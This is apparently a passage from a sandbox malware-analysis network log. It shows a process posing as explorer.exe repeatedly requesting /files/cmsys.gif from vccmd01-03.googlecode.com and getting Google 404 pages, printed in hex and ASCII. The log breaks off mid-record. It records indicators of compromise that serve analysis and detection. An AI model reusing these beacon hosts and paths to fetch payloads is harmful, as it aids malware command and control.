Oct 29, 2024 13:09:08.733092070 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:09.656979084 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:09 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:09.656996012 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	60666	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:10.217266083 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:11.142895937 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:11 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:11.142918110 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	60667	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:11.678127050 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:12.597467899 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:12 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:12.597528934 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	60669	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:15.315121889 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:16.236457109 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:16 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:16.236475945 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	60670	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:16.682811975 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:17.611267090 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:17 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:17.611304998 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	60671	142.251.168.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:18.033365965 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd03.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:18.956201077 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:18 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:18.956221104 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	60673	64.233.166.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:21.317416906 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd01.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:22.244807005 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:22 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/i [TRUNCATED]
Oct 29, 2024 13:09:22.244843006 CET	495	IN	Data Raw: 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f Data Ascii: only screen and (-webkit-min-device-pixel-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	60674	108.177.15.82	80	2920	C:\Windows\System\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 29, 2024 13:09:22.616269112 CET	214	OUT	GET /files/cmsys.gif HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; Trident/7.0; rv:11.0) like Gecko Host: vccmd02.googlecode.com Connection: Keep-Alive
Oct 29, 2024 13:09:23.560825109 CET	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1576 Date: Tue, 29 Oct 2024 12:09:23 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 [TRUNCATED] Data 